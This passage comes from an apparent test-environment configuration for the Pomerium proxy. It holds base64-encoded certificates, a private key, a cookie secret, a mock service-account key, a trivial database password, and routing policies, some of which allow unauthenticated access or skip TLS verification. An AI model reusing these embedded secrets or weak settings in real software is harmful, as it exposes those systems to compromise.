K0lVQUxQcm9pekVWSThTVms1bk9tM0hJZXorWmZYaHpmbkd4MDZTSQo2TnVvUVFQcVVCZVplWG4yWUZZaGlwZVJkclF4dkEzNi9ZWGEvQWtYQ2VVMHBYeGJ0WEtjdmF0ZnJpNUtuWUpECmtINTlhK2FGa1RzbDQxdGZJMmNuUllWZGRxWFZsM096TGJjZ0FGTG4xV2VDMXh4M3hSWGk3S2xkb2tPbHZndisKQjZuYVdmQ3hSbFdaL2xzbUhhZTRrYzFXSDRLYzduSytJVGI0MEVralY2OC9BN2tyWnNOMVZjcU50cG9tWWtnRQp4alVFOFhVdQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==\n      CERTIFICATE_AUTHORITY: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUUxekNDQXorZ0F3SUJBZ0lRWjEzOWNkL3BhUGRrUzJKeUF1N2tFREFOQmdrcWhraUc5dzBCQVFzRkFEQ0IKZ3pFZU1Cd0dBMVVFQ2hNVmJXdGpaWEowSUdSbGRtVnNiM0J0Wlc1MElFTkJNU3d3S2dZRFZRUUxEQ05qWVd4bApZa0JqWVd4bFlpMXdZeTFzYVc1MWVDQW9RMkZzWldJZ1JHOTRjMlY1S1RFek1ERUdBMVVFQXd3cWJXdGpaWEowCklHTmhiR1ZpUUdOaGJHVmlMWEJqTFd4cGJuVjRJQ2hEWVd4bFlpQkViM2h6WlhrcE1CNFhEVEl4TURneE1ERTMKTXpJd09Wb1hEVE14TURneE1ERTNNekl3T1Zvd2dZTXhIakFjQmdOVkJBb1RGVzFyWTJWeWRDQmtaWFpsYkc5dwpiV1Z1ZENCRFFURXNNQ29HQTFVRUN3d2pZMkZzWldKQVkyRnNaV0l0Y0dNdGJHbHVkWGdnS0VOaGJHVmlJRVJ2CmVITmxlU2t4TXpBeEJnTlZCQU1NS20xclkyVnlkQ0JqWVd4bFlrQmpZV3hsWWkxd1l5MXNhVzUxZUNBb1EyRnMKWldJZ1JHOTRjMlY1S1RDQ0FhSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnR1BBRENDQVlvQ2dnR0JBTmJLeU16NQpNVlc2WUtkamgxb0lOMU1uN1BFMnBINVNiSlNwV3hkQUdoZEJrQmtwQWE3T3hhcmpINUtWa0NUU2E3b25jbGE3CnFOdUpaUzZtQm1veEYrUitjUjNqeUdkVUFZbG96bDFqbGZxTElmQy8rZzdWN1ZtT0puOTh0akI0MmZhdHhMbDYKV1BBdzFKRE5zV3RRZmhLaGJjSHV0N1JzRjByTU9PSGN3eXdUUjdMT3lDbUllbDFwY21wVjRoYlZjVDZlVndvUApIWHlKU2E5Y3FhTVE1WHJkb2dhaTRJcVpaSUdMSGVMc1RWdXRPZ0pGWEVldmxYL1FUM3NXb21FY3R6aDM4SnM0CjlEaUFQRDZkNFk3L0NQTFlFZmsyOUpROU5aaHBnRHNpOWh1NUZISFpjWHdmMUlIbHcvQ0JWZ242aitqbXZLS3oKOTBNYTFvcXV2M1c2ZHR0aWQveENjTEd1MlMrOTZUenJ5a21veTVWYWNMdFZFUDQxWW1vVmxzOTFybG83b2xwZQpRV0Zibm1jbzczOVRJLzRoK0hvZG9scGVyUUVSUWw3dUNucEtWUFozV29rS3VSaDVwa3FrUXAvYXJRanR3Y1J0Ckc0M0NyRHBibCt1U2pNQ0F4aGE5NThlVFl2dG9qVE1udkx0c0dJRDFoR1hucWx3KzVLaktyZ1JIclFJREFRQUIKbzBVd1F6QU9CZ05WSFE4QkFmOEVCQU1DQWdRd0VnWURWUjBUQVFIL0JBZ3dCZ0VCL3dJQkFEQWRCZ05WSFE0RQpGZ1FVaFlaWVdJQkh5azZaVlRucDNsUnQvdHlCUDAwd0RRWUpLb1pJaHZjTkFRRUxCUUFEZ2dHQkFBMUYvYXByCmw2cE5UM01wL014aFVVZ282dXNFSkNyeUdRY0xSZmV4eVFYR04zaHVDbUlyUDU1VkZhOEVUUEF0anNyNlBNZTcKN3Z2RWo4ZUZ1Mkp0S292bFF3TmV3WVU5Y2pBTUNWYUZpTmJyUWEyMGh6aFdjMmpzNmR5aWxkRTYvRFB6YmVkcwpLREF4aEZOcDM1U2x3dFJ0S2sxU3p4SnhzcVN3amZ4SThmcCtSLzB3TzhnMGZXVGRNMmdDcFJ3WU1Od0pFTEVnCitkU2x2SkN3dXUrcnp4TGFsemFQRjFQTVRXNzJPRUxhbC9qNXNEKzJWeXRRNGsrSFVEYnl0MkRuUVQ3WVEzem8KcTAyeDJ1MnNtMVdXL28vdWg4cGpQeGtHUXFMMm1yeVpzNlZIOVZDVTNRa0tORHNzTmQ3MWxyM3dQb0U0WVJIZQpVdnpEMWVEZWVsekJVRk5JcERDamRDc0w1NXlJUHFVc3I2bG1qcEJQTDB2ZWEzM1FUTWJjc1N4dTB1bUdYRGJVCjY2anVVNFoxak9FMHdDbEl2YU82OTlKK0UyZ0JlMWpVTjZBdDZiOEJTb1pxQ3FYWW9ESEdlaTlSQlVkdmdxdG8Ka1Zzb0pmREkvVEZNZWtZZ3BMNVVWWW1MZGZncUxQUFJQOXBRQkxEeDNtc3plQXFudmZUSUNBemZYZz09Ci0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0K\n      CERTIFICATE_KEY: LS0tLS1CRUdJTiBQUklWQVRFIEtFWS0tLS0tCk1JSUV2UUlCQURBTkJna3Foa2lHOXcwQkFRRUZBQVNDQktjd2dnU2pBZ0VBQW9JQkFRQzhITEJBSXpYa1BlZWcKbGRVZlJLSzJqUXhTVlpENWcrcXNqQXpwbXJxL0F0bXdlSzFjR2NPdFo2ZU9MK3A4YnJQRHlWaERUMFFsSS9PLwpFS2dDT0ZGeFVEcW9SODJpWTA2U2FjQWpIbmk2K1BPOXRWUmJGVjB3MTRCREFKU3BCK1Z2V3lsK0ZvUERWL3ZzClozMUZ0WXcrRXdxa2JEeC9rYVQ5dXpmK0xKZGxrZjE0blFRajhFa3kvOGQzbVdKYmIvOXRqT2JzYVFnSjVMTHgKQ1lkSW1rcjc3WDJMTXVEdy8xdHBINjQyR0UyNU5yZ202UUhseUtTZllYbzM4djgzZWJFcWJaVURHK1ppb0FyUAptcW1rYXdVV3czZWtoajgwU0pnL1RLOVBSYU4vVnZjSTFQZ0FkN0xaenRVUmVTbVR5NWhkOXI2ck9CeHB4d25UCkR2SGtCbjZ2QWdNQkFBRUNnZ0VBQjI4aTBBWVVOU2IxSm5XRmJLenJ1VWN0dTN0Q05Yb3ZKZzZLM0JpUFZNa3EKRFQxWHJKSWdGNVJISE9scjNPc0xFNnU3WHoyY3RkTUw2UHNoaUtUdEl3dEdwaXZnUnBDaUpFc2xtcjJ6aThBVwo4ZUplcVJMWkVmc1NTSk9YVEc3UmRHc240cUhGSjAwczJaVGxjSUhTUHduRm0rWGpKaTk5VThHNFhzVW9YbzByCkd5KzBWQ3VVN004Z0lDRUhIc3JRTzlYREQzblQyaml1NVRqckt3anV0M0Vtb0pzc0k1YnF4MzMrT0J1NUJwQ1AKQ1Q0NzNENDNQOXAzcWkvWG5mdnFHU0cyT2o0T2FqVjRmcjBvOUIzS3ZJeGtNZW03V2xJM2p5eTFrQXB5WHFWVApiTGtMRnlXQk5UV1VaMlIvMnd4bXVvQzZtTFp3ODc5TUxDS012azFkb1FLQmdRRGhtd0dhZkpOeW1UaUVRWlJJClNzUXg0c2VxZk9LZmdGQzdvaHFIOWNST091OElKMW83cTJwTTJXNFhpVitTM3dUZFBHbWNhNklPalgyM2lzVkIKMnVxTmk5UzRNbkkyL2QyMkdkL0JSOXJ2QncxZUdKb0ticld4MjJmRThRQ0VXVDFBbk8rRHVEMGpDODV5UmxzNwpheHpsYU1yeEV1M0xJOVVFN050cmRRaUJ5UUtCZ1FEVmRJNmNlSVZCVDZSZ3ZWR3Q4emtMalBJRmpoUUVIQUlwCnVoaXJncXBTNkNYOUJseWYyK280MHptZmozaGU1ckNjRW9CNU1zZU0rRGdGYmNWaDJlL01WbllpTk53NkpDREIKQlFrRjQwOHBacFNlS1h2TC9veVYva0ltTVRKL3RVRFkwRVh4TXdTUEpCMFdsdGJXcmVWSUhvcGlnWFJDYmFleQp1QkhWQnYvNHR3S0JnSHdIdWVQeTVTVTFzMnFTbXpEN1djMkxQZll1M25DT0hOUnJGR2IyNk11UmZ1UmVyaTdyCjJHOFRnb0VTRnljcDBRVElOOCsxSk0wWFlLeE5jSkQ2QjhWMXdLYmJwUXN5bW5lSTFnanV0aUIvSWd3L1BrREsKQ0w0VlA0RjRkYTVOV1cxeVdnTnlnTG9KdlovNXFpS0tpc0pjMEdXazRIS3o2bUxnek9qUTJMSnhBb0dCQUxIWgpmTjJZZVlieVljYU0xMXAxVmlsdWxWVFZqWTNpL0ZaaURSNFNML0lHSldqTi9Temc0aVhZc0tGbXUrZHVsT1psCmNCQUxwRUtycXBtelhZdHJONmJzdjE4KzVlTzNxR2JLMkRyRXEzZVdWZXYyS29UTW9ieHo3ZysrWEJJV0ptTEEKSGhhYTZJaVBrWUQ1eXlWeUhLRGJlWGdiM285ZXFDUjd3N2ZZTGp5L0FvR0FJNEQrTUZraXZ3VUY3aHFmNWVkUwpLcmx0d21vZEhpcVhOYlZrd2JXMUFGUEpiaVlhaTRZRmZLNElBYmlmL1lteGY5Rzc4YU9rcjlacENJek9rRFBaCllwRXdRR1dzQWhFbENGdmM4RS81ZEhFU1NwK3RXdFArTmx1aW1wRnFpRGczL1NVbk13TzJ4SDBuaExhMHplamgKZ21MaDR3L0NjUHliOVp5WGNlV1UvblU9Ci0tLS0tRU5EIFBSSVZBVEUgS0VZLS0tLS0K\n      COOKIE_SECRET: UYgnt8bxxK5G2sFaNzyqi5Z+OgF8m2akNc0xdQx718w=\n      DATABROKER_STORAGE_CONNECTION_STRING: postgres://pomerium:password@postgres:5432/test\n      DATABROKER_STORAGE_TYPE: postgres\n      ENVOY_ADMIN_ADDRESS: 0.0.0.0:9901\n      GOOGLE_CLOUD_SERVERLESS_AUTHENTICATION_SERVICE_ACCOUNT: ewoiYXV0aF9wcm92aWRlcl94NTA5X2NlcnRfdXJsIjogImh0dHA6Ly9tb2NrLWlkcDo4MDI0IiwKImF1dGhfdXJpIjogImh0dHA6Ly9tb2NrLWlkcDo4MDI0IiwKImNsaWVudF9lbWFpbCI6ICJyZWRhY3RlZEBwb21lcml1bS1yZWRhY3RlZC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsCiJjbGllbnRfaWQiOiAiMTAxMjE1OTkwNDU4MDAwMzM0Mzg3IiwKImNsaWVudF94NTA5X2NlcnRfdXJsIjogImh0dHA6Ly9tb2NrLWlkcDo4MDI0IiwKInByaXZhdGVfa2V5IjogIi0tLS0tQkVHSU4gUFJJVkFURSBLRVktLS0tLVxuTUlJRXZRSUJBREFOQmdrcWhraUc5dzBCQVFFRkFBU0NCS2N3Z2dTakFnRUFBb0lCQVFDOEhMQkFJelhrUGVlZ1xubGRVZlJLSzJqUXhTVlpENWcrcXNqQXpwbXJxL0F0bXdlSzFjR2NPdFo2ZU9MK3A4YnJQRHlWaERUMFFsSS9PL1xuRUtnQ09GRnhVRHFvUjgyaVkwNlNhY0FqSG5pNitQTzl0VlJiRlYwdzE0QkRBSlNwQitWdld5bCtGb1BEVi92c1xuWjMxRnRZdytFd3FrYkR4L2thVDl1emYrTEpkbGtmMTRuUVFqOEVreS84ZDNtV0piYi85dGpPYnNhUWdKNUxMeFxuQ1lkSW1rcjc3WDJMTXVEdy8xdHBINjQyR0UyNU5yZ202UUhseUtTZllYbzM4djgzZWJFcWJaVURHK1ppb0FyUFxubXFta2F3VVd3M2VraGo4MFNKZy9USzlQUmFOL1Z2Y0kxUGdBZDdMWnp0VVJlU21UeTVoZDlyNnJPQnhweHduVFxuRHZIa0JuNnZBZ01CQUFFQ2dnRUFCMjhpMEFZVU5TYjFKbldGYkt6cnVVY3R1M3RDTlhvdkpnNkszQmlQVk1rcVxuRFQxWHJKSWdGNVJISE9scjNPc0xFNnU3WHoyY3RkTUw2UHNoaUtUdEl3dEdwaXZnUnBDaUpFc2xtcjJ6aThBV1xuOGVKZXFSTFpFZnNTU0pPWFRHN1JkR3NuNHFIRkowMHMyWlRsY0lIU1B3bkZtK1hqSmk5OVU4RzRYc1VvWG8wclxuR3krMFZDdVU3TThnSUNFSEhzclFPOVhERDNuVDJqaXU1VGpyS3dqdXQzRW1vSnNzSTVicXgzMytPQnU1QnBDUFxuQ1Q0NzNENDNQOXAzcWkvWG5mdnFHU0cyT2o0T2FqVjRmcjBvOUIzS3ZJeGtNZW03V2xJM2p5eTFrQXB5WHFWVFxuYkxrTEZ5V0JOVFdVWjJSLzJ3eG11b0M2bUxadzg3OU1MQ0tNdmsxZG9RS0JnUURobXdHYWZKTnltVGlFUVpSSVxuU3NReDRzZXFmT0tmZ0ZDN29ocUg5Y1JPT3U4SUoxbzdxMnBNMlc0WGlWK1Mzd1RkUEdtY2E2SU9qWDIzaXNWQlxuMnVxTmk5UzRNbkkyL2QyMkdkL0JSOXJ2QncxZUdKb0ticld4MjJmRThRQ0VXVDFBbk8rRHVEMGpDODV5UmxzN1xuYXh6bGFNcnhFdTNMSTlVRTdOdHJkUWlCeVFLQmdRRFZkSTZjZUlWQlQ2Umd2Vkd0OHprTGpQSUZqaFFFSEFJcFxudWhpcmdxcFM2Q1g5Qmx5ZjIrbzQwem1majNoZTVyQ2NFb0I1TXNlTStEZ0ZiY1ZoMmUvTVZuWWlOTnc2SkNEQlxuQlFrRjQwOHBacFNlS1h2TC9veVYva0ltTVRKL3RVRFkwRVh4TXdTUEpCMFdsdGJXcmVWSUhvcGlnWFJDYmFleVxudUJIVkJ2LzR0d0tCZ0h3SHVlUHk1U1UxczJxU216RDdXYzJMUGZZdTNuQ09ITlJyRkdiMjZNdVJmdVJlcmk3clxuMkc4VGdvRVNGeWNwMFFUSU44KzFKTTBYWUt4TmNKRDZCOFYxd0tiYnBRc3ltbmVJMWdqdXRpQi9JZ3cvUGtES1xuQ0w0VlA0RjRkYTVOV1cxeVdnTnlnTG9KdlovNXFpS0tpc0pjMEdXazRIS3o2bUxnek9qUTJMSnhBb0dCQUxIWlxuZk4yWWVZYnlZY2FNMTFwMVZpbHVsVlRWalkzaS9GWmlEUjRTTC9JR0pXak4vU3pnNGlYWXNLRm11K2R1bE9abFxuY0JBTHBFS3JxcG16WFl0ck42YnN2MTgrNWVPM3FHYksyRHJFcTNlV1ZldjJLb1RNb2J4ejdnKytYQklXSm1MQVxuSGhhYTZJaVBrWUQ1eXlWeUhLRGJlWGdiM285ZXFDUjd3N2ZZTGp5L0FvR0FJNEQrTUZraXZ3VUY3aHFmNWVkU1xuS3JsdHdtb2RIaXFYTmJWa3diVzFBRlBKYmlZYWk0WUZmSzRJQWJpZi9ZbXhmOUc3OGFPa3I5WnBDSXpPa0RQWlxuWXBFd1FHV3NBaEVsQ0Z2YzhFLzVkSEVTU3ArdFd0UCtObHVpbXBGcWlEZzMvU1VuTXdPMnhIMG5oTGEwemVqaFxuZ21MaDR3L0NjUHliOVp5WGNlV1UvblU9XG4tLS0tLUVORCBQUklWQVRFIEtFWS0tLS0tXG4iLAoicHJpdmF0ZV9rZXlfaWQiOiAiZTA3ZjdjOTM4NzBjN2UwM2Y4ODM1NjBlY2Q4ZmQwZjRkMjdiMDA4MSIsCiJwcm9qZWN0X2lkIjogInBvbWVyaXVtLXJlZGFjdGVkIiwKInRva2VuX3VyaSI6ICJodHRwOi8vbW9jay1pZHA6ODAyNC90b2tlbiIsCiJ0eXBlIjogInNlcnZpY2VfYWNjb3VudCIKfQ==\n      IDP_CLIENT_ID: CLIENT_ID\n      IDP_CLIENT_SECRET: CLIENT_SECRET\n      IDP_PROVIDER: oidc\n      IDP_PROVIDER_URL: https://mock-idp.localhost.pomerium.io/\n      JWT_CLAIMS_HEADERS: email,groups,user\n      LOG_LEVEL: info\n      POLICY: Wwp7CiJhbGxvd19wdWJsaWNfdW5hdXRoZW50aWNhdGVkX2FjY2VzcyI6IHRydWUsCiJmcm9tIjogImh0dHBzOi8vbW9jay1pZHAubG9jYWxob3N0LnBvbWVyaXVtLmlvIiwKInByZXNlcnZlX2hvc3RfaGVhZGVyIjogdHJ1ZSwKInRvIjogImh0dHA6Ly9tb2NrLWlkcDo4MDI0Igp9LAp7CiJhbGxvd19wdWJsaWNfdW5hdXRoZW50aWNhdGVkX2FjY2VzcyI6IHRydWUsCiJmcm9tIjogImh0dHBzOi8vZW52b3kubG9jYWxob3N0LnBvbWVyaXVtLmlvIiwKInRvIjogImh0dHA6Ly9sb2NhbGhvc3Q6OTkwMSIKfSwKewoiYWxsb3dfYW55X2F1dGhlbnRpY2F0ZWRfdXNlciI6IHRydWUsCiJmcm9tIjogImh0dHBzOi8vdmVyaWZ5LmxvY2FsaG9zdC5wb21lcml1bS5pbyIsCiJwYXNzX2lkZW50aXR5X2hlYWRlcnMiOiB0cnVlLAoidG8iOiAiaHR0cDovL3ZlcmlmeTo4MCIKfSwKewoiYWxsb3dfcHVibGljX3VuYXV0aGVudGljYXRlZF9hY2Nlc3MiOiB0cnVlLAoiYWxsb3dfd2Vic29ja2V0cyI6IHRydWUsCiJmcm9tIjogImh0dHBzOi8vd2Vic29ja2V0LWVjaG8ubG9jYWxob3N0LnBvbWVyaXVtLmlvIiwKInRvIjogImh0dHA6Ly93ZWJzb2NrZXQtZWNobzo4MCIKfSwKewoiYWxsb3dfYW55X2F1dGhlbnRpY2F0ZWRfdXNlciI6IHRydWUsCiJmcm9tIjogImh0dHBzOi8vZm9ydGlvLXVpLmxvY2FsaG9zdC5wb21lcml1bS5pbyIsCiJ0byI6ICJodHRwczovL2ZvcnRpbzo4MDgwIgp9LAp7CiJhbGxvd19wdWJsaWNfdW5hdXRoZW50aWNhdGVkX2FjY2VzcyI6IHRydWUsCiJmcm9tIjogImh0dHBzOi8vZm9ydGlvLXBpbmcubG9jYWxob3N0LnBvbWVyaXVtLmlvIiwKInRsc19jdXN0b21fY2EiOiAiTFMwdExTMUNSVWRKVGlCRFJWSlVTVVpKUTBGVVJTMHRMUzB0Q2sxSlNVVXhla05EUVhvclowRjNTVUpCWjBsUldqRXpPV05rTDNCaFVHUnJVekpLZVVGMU4ydEZSRUZPUW1kcmNXaHJhVWM1ZHpCQ1FWRnpSa0ZFUTBJS1ozcEZaVTFDZDBkQk1WVkZRMmhOVm1KWGRHcGFXRW93U1VkU2JHUnRWbk5pTTBKMFdsYzFNRWxGVGtKTlUzZDNTMmRaUkZaUlVVeEVRMDVxV1ZkNGJBcFphMEpxV1ZkNGJGbHBNWGRaZVRGellWYzFNV1ZEUVc5Uk1rWnpXbGRKWjFKSE9UUmpNbFkxUzFSRmVrMUVSVWRCTVZWRlFYZDNjV0pYZEdwYVdFb3dDa2xIVG1oaVIxWnBVVWRPYUdKSFZtbE1XRUpxVEZkNGNHSnVWalJKUTJoRVdWZDRiRmxwUWtWaU0yaDZXbGhyY0UxQ05GaEVWRWw0VFVSbmVFMUVSVE1LVFhwSmQwOVdiMWhFVkUxNFRVUm5lRTFFUlROTmVrbDNUMVp2ZDJkWlRYaElha0ZqUW1kT1ZrSkJiMVJHVnpGeVdUSldlV1JEUW10YVdGcHNZa2M1ZHdwaVYxWjFaRU5DUkZGVVJYTk5RMjlIUVRGVlJVTjNkMnBaTWtaeldsZEtRVmt5Um5OYVYwbDBZMGROZEdKSGJIVmtXR2RuUzBWT2FHSkhWbWxKUlZKMkNtVklUbXhsVTJ0NFRYcEJlRUpuVGxaQ1FVMU5TMjB4Y2xreVZubGtRMEpxV1ZkNGJGbHJRbXBaVjNoc1dXa3hkMWw1TVhOaFZ6VXhaVU5CYjFFeVJuTUtXbGRKWjFKSE9UUmpNbFkxUzFSRFEwRmhTWGRFVVZsS1MyOWFTV2gyWTA1QlVVVkNRbEZCUkdkblIxQkJSRU5EUVZsdlEyZG5SMEpCVG1KTGVVMTZOUXBOVmxjMldVdGthbWd4YjBsT01VMXVOMUJGTW5CSU5WTmlTbE53VjNoa1FVZG9aRUpyUW10d1FXRTNUM2hoY21wSU5VdFdhME5VVTJFM2IyNWpiR0UzQ25GT2RVcGFVelp0UW0xdmVFWXJVaXRqVWpOcWVVZGtWVUZaYkc5NmJERnFiR1p4VEVsbVF5OHJaemRXTjFadFQwcHVPVGgwYWtJME1tWmhkSGhNYkRZS1YxQkJkekZLUkU1elYzUlJabWhMYUdKalNIVjBOMUp6UmpCeVRVOVBTR04zZVhkVVVqZE1UM2xEYlVsbGJERndZMjF3VmpSb1lsWmpWRFpsVm5kdlVBcElXSGxLVTJFNVkzRmhUVkUxV0hKa2IyZGhhVFJKY1ZwYVNVZE1TR1ZNYzFSV2RYUlBaMHBHV0VWbGRteFlMMUZVTTNOWGIyMUZZM1I2YURNNFNuTTBDamxFYVVGUVJEWmtORmszTDBOUVRGbEZabXN5T1VwUk9VNWFhSEJuUkhOcE9XaDFOVVpJU0ZwaldIZG1NVWxJYkhjdlEwSldaMjQyYWl0cWJYWkxTM29LT1RCTllURnZjWFYyTTFjMlpIUjBhV1F2ZUVOalRFZDFNbE1yT1RaVWVuSjVhMjF2ZVRWV1lXTk1kRlpGVURReFdXMXZWbXh6T1RGeWJHODNiMnh3WlFwUlYwWmlibTFqYnpjek9WUkpMelJvSzBodlpHOXNjR1Z5VVVWU1VXdzNkVU51Y0V0V1VGb3pWMjlyUzNWU2FEVndhM0ZyVVhBdllYSlJhblIzWTFKMENrYzBNME55UkhCaWJDdDFVMnBOUTBGNGFHRTVOVGhsVkZsMmRHOXFWRTF1ZGt4MGMwZEpSREZvUjFodWNXeDNLelZMYWt0eVoxSkljbEZKUkVGUlFVSUtiekJWZDFGNlFVOUNaMDVXU0ZFNFFrRm1PRVZDUVUxRFFXZFJkMFZuV1VSV1VqQlVRVkZJTDBKQlozZENaMFZDTDNkSlFrRkVRV1JDWjA1V1NGRTBSUXBHWjFGVmFGbGFXVmRKUWtoNWF6WmFWbFJ1Y0ROc1VuUXZkSGxDVURBd2QwUlJXVXBMYjFwSmFIWmpUa0ZSUlV4Q1VVRkVaMmRIUWtGQk1VWXZZWEJ5Q213MmNFNVVNMDF3TDAxNGFGVlZaMjgyZFhORlNrTnllVWRSWTB4U1ptVjRlVkZZUjA0emFIVkRiVWx5VURVMVZrWmhPRVZVVUVGMGFuTnlObEJOWlRjS04zWjJSV280WlVaMU1rcDBTMjkyYkZGM1RtVjNXVlU1WTJwQlRVTldZVVpwVG1KeVVXRXlNR2g2YUZkak1tcHpObVI1YVd4a1JUWXZSRkI2WW1Wa2N3cExSRUY0YUVaT2NETTFVMngzZEZKMFMyc3hVM3A0U25oemNWTjNhbVo0U1RobWNDdFNMekIzVHpobk1HWlhWR1JOTW1kRGNGSjNXVTFPZDBwRlRFVm5DaXRrVTJ4MlNrTjNkWFVyY25wNFRHRnNlbUZRUmpGUVRWUlhOekpQUlV4aGJDOXFOWE5FS3pKV2VYUlJOR3NyU0ZWRVlubDBNa1J1VVZRM1dWRXplbThLY1RBeWVESjFNbk50TVZkWEwyOHZkV2c0Y0dwUWVHdEhVWEZNTW0xeWVWcHpObFpJT1ZaRFZUTlJhMHRPUkhOelRtUTNNV3h5TTNkUWIwVTBXVkpJWlFwVmRucEVNV1ZFWldWc2VrSlZSazVKY0VSRGFtUkRjMHcxTlhsSlVIRlZjM0kyYkcxcWNFSlFUREIyWldFek0xRlVUV0pqYzFONGRUQjFiVWRZUkdKVkNqWTJhblZWTkZveGFrOUZNSGREYkVsMllVODJPVGxLSzBVeVowSmxNV3BWVGpaQmREWmlPRUpUYjFweFEzRllXVzlFU0VkbGFUbFNRbFZrZG1keGRHOEthMVp6YjBwbVJFa3ZWRVpOWld0WlozQk1OVlZXV1cxTVpHWm5jVXhRVUZKUU9YQlJRa3hFZUROdGMzcGxRWEZ1ZG1aVVNVTkJlbVpZWnowOUNpMHRMUzB0UlU1RUlFTkZVbFJKUmtsRFFWUkZMUzB0TFMwSyIsCiJ0bHNfc2VydmVyX25hbWUiOiAiZm9ydGlvLXBpbmcubG9jYWxob3N0LnBvbWVyaXVtLmlvIiwKInRvIjogImh0dHBzOi8vZm9ydGlvOjgwNzkiCn0sCnsKImFsbG93X2FueV9hdXRoZW50aWNhdGVkX3VzZXIiOiB0cnVlLAoiZnJvbSI6ICJ0Y3AraHR0cHM6Ly9yZWRpcy5sb2NhbGhvc3QucG9tZXJpdW0uaW86NjM3OSIsCiJ0byI6ICJ0Y3A6Ly9yZWRpczo2Mzc5Igp9LAp7CiJhbGxvd19wdWJsaWNfdW5hdXRoZW50aWNhdGVkX2FjY2VzcyI6IHRydWUsCiJmcm9tIjogImh0dHBzOi8vaHR0cGRldGFpbHMubG9jYWxob3N0LnBvbWVyaXVtLmlvIiwKInBhdGgiOiAiL3Rscy1za2lwLXZlcmlmeS1lbmFibGVkIiwKInRsc19za2lwX3ZlcmlmeSI6IHRydWUsCiJ0byI6ICJodHRwczovL3RydXN0ZWQtaHR0cGRldGFpbHM6ODQ0MyIKfSwKewoiYWxsb3dfcHVibGljX3VuYXV0aGVudGljYXRlZF9hY2Nlc3MiOiB0cnVlLAoiZnJvbSI6ICJodHRwczovL2h0dHBkZXRhaWxzLmxvY2FsaG9zdC5wb21lcml1bS5pbyIsCiJwYXRoIjogIi90bHMtc2tpcC12ZXJpZnktZGlzYWJsZWQiLAoidGxzX3NraXBfdmVyaWZ5IjogZmFsc2UsCiJ0byI6ICJodHRwczovL3RydXN0ZWQtaHR0cGRldGFpbHM6ODQ0MyIKfSwKewoiYWxsb3dfcHVibGljX3VuYXV0aGVudGljYXRlZF9hY2Nlc3MiOiB0cnVlLAoiZnJvbSI6ICJodHRwczovL2h0dHBkZXRhaWxzLmxvY2FsaG9zdC5wb21lcml1bS5pbyIsCiJwYXRoIjogIi90bHMtc2VydmVyLW5hbWUtZW5hYmxlZCIsCiJ0bHNfc2VydmVyX25hbWUiOiAiaHR0cGRldGFpbHMubG9jYWxob3N0Lm5vdHBvbWVyaXVtLmlvIiwKInRvIjogImh0dHBzOi8vd3JvbmdseS1uYW1lZC1odHRwZGV0YWlsczo4NDQzIgp9LAp7CiJhbGxvd19wdWJsaWNfdW5hdXRoZW50aWNhdGVkX2FjY2VzcyI6IHRydWUsCiJmcm9tIjogImh0dHBzOi8vaHR0cGRldGFpbHMubG9jYWxob3N0LnBvbWVyaXVtLmlvIiwKInBhdGgiOiAiL3Rscy1zZXJ2ZXItbmFtZS1kaXNhYmxlZCIsCiJ0byI6ICJodHRwczovL3dyb25nbHktbmFtZWQtaHR0cGRldGFpbHM6ODQ0MyIKfSwKewoiYWxsb3dfcHVibGljX3VuYXV0aGVudGljYXRlZF9hY2Nlc3MiOiB0cnVlLAoiZnJvbSI6ICJodHRwczovL2h0dHBkZXRhaWxzLmxvY2FsaG9zdC5wb21lcml1bS5pbyIsCiJwYXRoIjogIi90bHMtY3VzdG9tLWNhLWVuYWJsZWQiLAoidGxzX2N1c3RvbV9jYSI6ICJMUzB0TFMxQ1JVZEpUaUJEUlZKVVNVWkpRMEZVUlMwdExTMHRDazFKU1VVeVJFTkRRVEJEWjBGM1NVSkJaMGxTUVV4a09VZGhTbEk1TW5GcE4zRk1NV1ZJUjAwMlN6QjNSRkZaU2t0dldrbG9kbU5PUVZGRlRFSlJRWGNLWjFsTmVFaHFRV05DWjA1V1FrRnZWRVpYTVhKWk1sWjVaRU5DYTFwWVdteGlSemwzWWxkV2RXUkRRa1JSVkVWelRVTnZSMEV4VlVWRGQzZHFXVEpHY3dwYVYwcEJXVEpHYzFwWFNYUmpSMDEwWWtkc2RXUllaMmRMUlU1b1lrZFdhVWxGVW5abFNFNXNaVk5yZUUxNlFYaENaMDVXUWtGTlRVdHRNWEpaTWxaNUNtUkRRbXBaVjNoc1dXdENhbGxYZUd4WmFURjNXWGt4YzJGWE5URmxRMEZ2VVRKR2MxcFhTV2RTUnprMFl6SldOVXRVUVdWR2R6QjVUVlJCTkUxVVJYa0tUVlJWTWsxVVFtRkdkekI2VFZSQk5FMVVSWGxOVkZVeVRWUkNZVTFKUjBSTlVqUjNTRUZaUkZaUlVVdEZlRlowWVRKT2JHTnVVV2RhUjFZeVdsZDRkZ3BqUnpGc1ltNVJaMUV3UlhoTVJFRnhRbWRPVmtKQmMwMUpNazVvWWtkV2FWRkhUbWhpUjFacFRGaENha3hYZUhCaWJsWTBTVU5vUkZsWGVHeFphVUpGQ21JemFIcGFXR3R3VFZSTmQwMVJXVVJXVVZGRVJFTndkR0V5VG14amJsRm5XVEpHYzFwWFNrRlpNa1p6V2xkSmRHTkhUWFJpUjJ4MVpGaG5aMHRGVG1nS1lrZFdhVWxGVW5abFNFNXNaVk5yZDJkblIybE5RVEJIUTFOeFIxTkpZak5FVVVWQ1FWRlZRVUUwU1VKcWQwRjNaMmRIUzBGdlNVSm5VVVJYV1hCV1pRcENVMjVsWlRKalFVSlpiMlpUYjFkNFIwMTVSbUZOVVRCdVNtdFpNRlZYVFRsamEzbFZhRGRXWm1kT0t5OWhSbE5YTWxwVGJWaDFkalZrY21Od2FUSXdDbm96Wld4b1VGUmxPVGhpUVU1aWFpc3ZZbWt3TURFMVVWZHVUV1Z1U3pBMVdrczJjVVIwUm5kdkwwaFdReTlaWTJGeWRYVTVOaXN4U2pKMGIyVlhkVVVLZEhsclZ6Tk5RM0JETVhCSVdWTTFaemxwVmtScmNHUnllbTUyV0V0c1dYVlRhV3RxY21vM1N6VjBiMmxVZG5WdE9UZE1lRXRyZFdvMlJGaHFZWEJRUkFvMWRuUmxVMDR4WkZGblR6bERVek56Y1d4amQxbEJObEpxVlVoM1dUSldSV2d5WVdSUU16ZENXbkphZDA4cmVVcHhPWEZHTlhrMVIyeG5hVGhzVGpSakNr